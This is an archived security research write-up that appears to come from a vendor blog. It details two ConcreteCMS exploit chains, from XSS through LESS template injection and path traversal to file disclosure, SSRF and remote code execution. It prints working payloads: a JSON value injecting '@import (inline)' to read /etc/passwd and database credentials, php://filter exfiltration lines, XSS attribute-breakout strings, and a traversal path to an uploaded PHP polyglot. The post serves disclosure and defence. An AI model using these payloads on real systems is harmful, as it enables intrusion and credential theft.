Curated security research, vulnerabilities, advisories and tools for practitioners.

From XSS to RCE: Two Exploit Chains in ConcreteCMS

Summary

We show how in 2026 chaining vulnerabilities is crucial for impact and how production environments differ from source code
Published
Collected

📦 Full-Text Content Snapshot

R2 Archive · Full Article Preserved277 lines · 13.3 KB
📄 Raw .md⬇️ Download .md

Written by: Yonatan Drori & Daniel Goldberg · October 4, 2026 · Source: tenzai.com

Interactive Testing: Lead a Team of AI Hackers with Tenzai
Interactive Testing: Lead a Team of AI Hackers with Tenzai

Individual vulnerabilities rarely tell the whole story. A reflected XSS may look like a browser-only issue, and a path traversal or template injection may appear to require an authenticated administrator. The risk changes when those primitives are connected across trust boundaries.

As part of our broader security research into ConcreteCMS, we found two chains that turn seemingly separate flaws into unauthenticated server compromise:

  1. One uses an administrator's browser to bridge a reflected XSS, file upload, and path traversal into code execution.
  2. The second combines stored XSS with LESS injection to reach file disclosure, SSRF, and, on affected glibc versions, remote code execution.

This post follows each chain from source-level root cause to the production conditions that determine its real impact.


Exploit Chain 1: Stored XSS -> LESS SSTI -> RCE via glibc iconv()

Often, source code analysis discovers vulnerabilities that have a specific impact in the source code and a different impact in production. In this case, an unsanitized value leads to SSTI. Depending on the production environment (exact version of glibc), this can be turned into an RCE rather than merely an SSTI. We paired the SSTI with a stored XSS to go from unauthenticated visitor to full server compromise.

Bug 1: SSTI - Unsanitized color channels reach the LESS compiler verbatim

ConcreteCMS has a graphical theme style customizer, which lets an admin tweak a theme's color variables (page-background, link-color, etc.) through a form that posts r/g/b/a values as JSON. ColorValue stores whatever it's given with no type check at all:

php
// concrete/src/StyleCustomizer/Style/Value/ColorValue.php:42
public function setRed($r)
{
    $this->r = $r;   // @var mixed — no validation
    return $this;
}

When the style is compiled, ColorStyle interpolates the four channels into a CSS rgba() string with a raw %s:

php
// concrete/src/StyleCustomizer/Style/ColorStyle.php:69
$variableValue = sprintf(
    'rgba(%s, %s, %s, %s)',
    $value->getRed(),    // ← attacker-controlled, unsanitized
    $value->getGreen(),
    $value->getBlue(),
    $value->getAlpha()
);

That string is handed to Less_Parser::ModifyVars(), which reaches serializeVars() — the point where a LESS variable assignment gets built by string concatenation rather than templating:

php
// vendor/wikimedia/less.php/lib/Less/Parser.php:2651
$s .= (($name[0] === '@') ? '' : '@') . $name . ': ' . $value . ((substr($value, -1) === ';') ? '' : ';');

Because the value is never escaped and never validated as numeric, closing the rgba(...) call early and appending a second LESS statement is enough to inject arbitrary directives. The r channel does the work; g/b/a just get absorbed into a second, harmless rgba(...) call so the LESS stays syntactically valid.

For exploiting this SSTI, we use the @import (inline) directive in our injected LESS code to read arbitrary files (e.g., /etc/passwd):

json
{
  "value": {
    "r": "0, 0, 0, 0); @import (inline) "/etc/passwd"; @dummy: rgba(0",
    "g": "0", "b": "0", "a": "1"
  }
}

which serializes to:

less
@page-background-color: rgba(0, 0, 0, 0); @import (inline) "/etc/passwd"; @dummy: rgba(0, 0, 0, 1);

@import (inline) is a legitimate LESS feature for pulling a file's raw contents into the compiled output verbatim. The parser implements it with a direct file_get_contents():

php
// vendor/wikimedia/less.php/lib/Less/Tree/Import.php:176
Less_Parser::AddParsedFile($full_path);
$contents = new Less_Tree_Anonymous( file_get_contents($full_path), 0, array(), true );

$full_path supports PHP stream wrappers, not just plain paths — http://, https://, php://filter, data://, etc. all work (phar:// was disabled explicitly by ConcreteCMS in a recent security fix). That means the injection is a universal local-file-read and an internal-network SSRF primitive in one:

text
@import (inline) "/etc/passwd"                                                → root:x:0:0:root:/root:/bin/bash ...
@import (inline) "application/config/database.php"                            → DB host/user/password in cleartext
@import (inline) "http://127.0.0.1:80/"                                       → full response body of any internal service
@import (inline) "php://filter/convert.base64-encode/resource=/etc/passwd"    → clean exfil of binary files

The compiled CSS leaks file contents and is written to a world-readable cache file (application/files/cache/css/{theme}/main.css) and served to every visitor, authenticated or not, on the next page load.

Bug 2: Stored XSS in the Express entry deletion log

Express is ConcreteCMS's form/object builder, used behind forms like "contact us," newsletter signup, or job applications. Every Express entry has a label built directly from the submitter's own field values, with no escaping:

php
// concrete/src/Express/Entry/Formatter/LabelFormatter.php:47-54
public function getLabel(Entry $entry)
{
    foreach ($entry->getEntity()->getAttributes() as $ak) {
        if ($ak->getAttributeType()->getAttributeTypeHandle() == 'text') {
            return $entry->getAttribute($ak);   // ← raw submitted value, first text field
        }
    }
}

Express entries get logged whenever one is deleted — and deleting spam entries is a routine admin task:

php
// concrete/src/Express/Entry/Listener.php:21-23, 56-58
public function preRemove(Entry $entry, LifecycleEventArgs $event)
{
    $this->logger->info(t('Deleting Express entry: %s (%s)', $entry->getLabel(), $entry->getID()));
}

public function postRemove(Entry $entry, LifecycleEventArgs $event)
{
    $this->logger->info(t('Express entry %s (%s) deleted successfully.', $entry->getLabel(), $entry->getID()));
}

The raw label is stored in the Logs table. When an admin opens Dashboard → Reports → Logs, the message column runs it through makenice():

php
// concrete/src/Utility/Service/Text.php:261-268
public function makenice($input)
{
    $output = strip_tags($input);   // no raw <, > in our payload, so this is a no-op
    $output = $this->autolink($output);
    $output = nl2br($output);
    return $output;
}

autolink() turns anything that looks like a URL into an <a href="..."> tag by regex string concatenation with no additional escaping:

php
// concrete/src/Utility/Service/Text.php:290-302
public function autolink($input, $newWindow = false, $defaultProtocol = 'http://')
{
    $target = $newWindow ? ' target="_blank"' : '';
    $output = preg_replace_callback(
        '/(http:\/\/|https:\/\/|(www\.))(([^\s<]{4,80})[^\s<]*)/',
        function (array $matches) use ($target, $defaultProtocol) {
            $protocol = strpos($matches[1], ':') ? $matches[1] : $defaultProtocol;
            return "<a href="{$protocol}{$matches[2]}{$matches[3]}"{$target} rel="nofollow">{$matches[2]}{$matches[4]}</a>";
        },
        $input);
    return $output;
}

The regex class is [^\s<] — it excludes whitespace and <, but not ". So a submitted field value of:

text
http://x"autofocus/tabindex="1"onfocus="alert(document.domain)

survives strip_tags untouched and comes out the other side as:

html
<a href="http://x" autofocus tabindex="1" onfocus="alert(document.domain)" rel="nofollow">...</a>

Per HTML tokenizer specifications, the "after attribute value (quoted)" state starts a new attribute the instant it sees a non-whitespace character right after a quote closes. Because autofocus forces the browser to focus the element immediately upon parsing, the handler fires the moment the log page loads, completely interactionless.

Chained Together

  1. An anonymous attacker submits a public form planting the XSS payload as an Express entry label.
  2. An admin bulk-deletes spam entries, writing the payload into the log.
  3. An admin opens the log dashboard; JavaScript executes in their authenticated session.
  4. The payload reads the CSRF token from the DOM and issues a POST to the theme customizer with the LESS SSTI payload.
  5. The next page load renders the compiled CSS containing /etc/passwd to any visitor.

Escalation: RCE via CVE-2024-2961 in glibc iconv() (glibc < 2.40)

If the target's glibc is older than 2.40, CVE-2024-2961 in iconv() allows escalating the SSTI into arbitrary remote code execution via php://filter.

CVE-2024-2961 is a 4-byte heap buffer overflow when converting UTF-8 to ISO-2022-CN-EXT. A specific character (劄) has no exact representation, causing glibc to write past the buffer boundary. By using php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=... inside @import (inline), and stacking filters (zlib.inflate, dechunk, convert.iconv.L1.L1) to shape the PHP heap, an attacker corrupts a chunk header in zend_mm_heap and redirects a function pointer to system(), executing arbitrary commands.


Exploit Chain 2: Reflected XSS to RCE (CVE-2026-8134 + CVE-2026-8245)

A reflected XSS in a low-traffic admin page, chained through file upload and path traversal, produces unauthenticated remote code execution in the server via an administrator's browser. Because ConcreteCMS defaults session cookies to SameSite=Lax, top-level cross-site GET navigations carry session cookies, enabling silent execution.

Bug 1: Reflected XSS in legacy pagination (CVE-2026-8245)

The legacy form reports controller reads sortBy from the request and concatenates it directly into the pagination URL template:

php
// concrete/controllers/single_page/dashboard/reports/forms/legacy.php:197-199
$sortBy = $this->request->get('sortBy');
$paginator->init(
    (int) $this->request->get('page'), $answerSetCount,
    $pageBaseSurvey . '&page=%pageNum%&sortBy=' . $sortBy,  // raw concat
    $this->pageSize
);

The pagination helper interpolates $linkURL into href attributes:

php
// concrete/src/Legacy/Pagination.php:309
$pages .= "<li class="page-item"><a class="page-link" href="{$linkURL}" ...";

A sortBy value of 1"><img src onerror="..."> breaks out of the href attribute and injects arbitrary HTML/JS into the admin dashboard page.

Bug 2: Path traversal in composer template (CVE-2026-8134)

Page type composer controls support a "custom template" that overrides block rendering. An admin can set this via POST to /ccm/system/page/type/composer/form/edit_control/save. The save handler reads the template value and passes it to sanitizeString(), which only strips HTML tags and does not validate filesystem paths:

php
// concrete/controllers/backend/page/type/composer/form/edit_control/save.php
protected function getPostedTemplate(): string {
    $template = $this->request->request->get('ptComposerFormLayoutSetControlCustomTemplate');
    return is_string($template) ? $this->app->make(SanitizeService::class)->sanitizeString($template) : '';
}

The value is saved to the database:

php
// concrete/src/Page/Type/Composer/FormLayoutSetControl.php:234-242
public function updateFormLayoutSetControlCustomTemplate($template){
    $db->executeQuery(
        'update PageTypeComposerFormLayoutSetControls
         set ptComposerFormLayoutSetControlCustomTemplate = ?
         where ptComposerFormLayoutSetControlID = ?',
        [$template, $this->ptComposerFormLayoutSetControlID]
    );
}

A value like ../../../../application/files/1234/5678/9012/shell.jpg is stored verbatim. When the composer page-add dialog opens, BlockControl::render() resolves the stored path and passes it to inc():

php
// concrete/src/Page/Type/Composer/Control/BlockControl.php:284-310
public function inc($file, $args = []){
    extract($args);
    $r = $env->getRecord(DIRNAME_BLOCKS . '/' . $obj->getBlockTypeHandle() . '/' . $file, $pkg);
    if ($r->exists()) {
        include $r->file;  // <- arbitrary PHP execution
    }
}

../ sequences escape the block template directory into application/files/, where an uploaded JPEG/PHP polyglot sits. PHP's include engine executes the <?php payload.

Conclusion

These chains share a simple reality: exploitability is a property of the entire system. The actual impact of any vulnerability depends on the production server configuration and environment. Reviewing components in isolation consistently underestimates risk.


📦 Full-Text Markdown Snapshot archived by Phying News · Original source: tenzai.com